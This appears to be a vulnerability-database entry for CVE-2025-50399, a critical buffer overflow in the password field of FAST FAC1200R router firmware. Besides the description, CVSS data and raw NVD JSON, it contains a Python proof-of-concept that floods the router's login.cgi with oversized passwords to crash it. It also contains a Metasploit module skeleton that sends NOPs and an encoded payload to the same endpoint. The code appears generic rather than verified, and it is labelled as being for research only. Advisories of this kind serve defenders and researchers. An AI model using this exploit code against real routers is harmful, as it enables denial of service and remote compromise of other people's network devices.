Security Vulnerability Report
中文
CVE-2025-50399 CVSS 9.8 CRITICAL

CVE-2025-50399

Published: 2025-11-26 16:15:48
Last Modified: 2026-01-02 14:47:42

Description

FAST FAC1200R F400_FAC1200R_Q is vulnerable to Buffer Overflow in the function sub_80435780 via the parameter password.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fastcom:fac1200r_firmware:f400_fac1200r_q:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:fastcom:fac1200r:-:*:*:*:*:*:*:* - NOT VULNERABLE
FAST FAC1200R F400_FAC1200R_Q 固件版本(具体版本待确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-50399 PoC - FAST FAC1200R Buffer Overflow Note: This PoC is for educational and security research purposes only. Unauthorized access to computer systems is illegal. """ import requests import sys # Target configuration TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}/login.cgi" def create_overflow_payload(payload_length=1000): """ Generate buffer overflow payload Adjust payload_length based on target vulnerability analysis """ # Pattern to trigger overflow - typical buffer size for router auth # Common buffer sizes: 64, 128, 256, 512, 1024 bytes overflow_pattern = "A" * payload_length return overflow_pattern def exploit_buffer_overflow(): """ Attempt to trigger buffer overflow in password parameter """ print(f"[*] Targeting: {TARGET_IP}") print(f"[*] CVE-2025-50399 - FAST FAC1200R Buffer Overflow") # Test with increasing payload sizes for size in [100, 500, 1000, 2000, 5000]: print(f"\n[*] Testing payload size: {size} bytes") payload = { "username": "admin", "password": create_overflow_payload(size) } try: response = requests.post(LOGIN_URL, data=payload, timeout=10) print(f"[+] Response status: {response.status_code}") # Check for signs of successful exploitation if response.status_code == 200: if "error" not in response.text.lower(): print(f"[!] Potential overflow detected with size {size}") break except requests.exceptions.Timeout: print(f"[!] Request timeout - possible crash at size {size}") break except Exception as e: print(f"[-] Error: {e}") print("\n[*] PoC execution completed") print("[*] Further analysis required for exploitation") def create_metasploit_module_snippet(): """ Metasploit module skeleton for CVE-2025-50399 """ msf_code = ''' ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'FAST FAC1200R Password Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in FAST FAC1200R router firmware function sub_80435780. }, 'Author' => ['Researcher'], 'References' => [ ['CVE', '2025-50399'] ], 'Platform' => 'linux', 'Targets' => [ ['Automatic Target', {}] ] )) end def exploit print_status('Sending malicious payload...') overflow_payload = make_nops(1000) + payload.encoded send_request_cgi({ 'uri' => '/login.cgi', 'method' => 'POST', 'vars_post' => { 'username' => 'admin', 'password' => overflow_payload } }) end end ''' return msf_code if __name__ == "__main__": print("=" * 60) print("CVE-2025-50399 Proof of Concept") print("FAST FAC1200R Buffer Overflow in password parameter") print("=" * 60) exploit_buffer_overflow()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50399", "sourceIdentifier": "[email protected]", "published": "2025-11-26T16:15:47.947", "lastModified": "2026-01-02T14:47:42.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FAST FAC1200R F400_FAC1200R_Q is vulnerable to Buffer Overflow in the function sub_80435780 via the parameter password."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fastcom:fac1200r_firmware:f400_fac1200r_q:*:*:*:*:*:*:*", "matchCriteriaId": "1A7D4018-A7FE-476C-8494-D4BA8F61650E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fastcom:fac1200r:-:*:*:*:*:*:*:*", "matchCriteriaId": "87583FA7-470F-4EBB-8B62-5BE3A797B7F7"}]}]}], "references": [{"url": "https://github.com/sezangel/IOT-vul/tree/main/FAST/FAC1200R/1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sezangel/IOT-vul/tree/main/FAST/FAC1200R/1", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}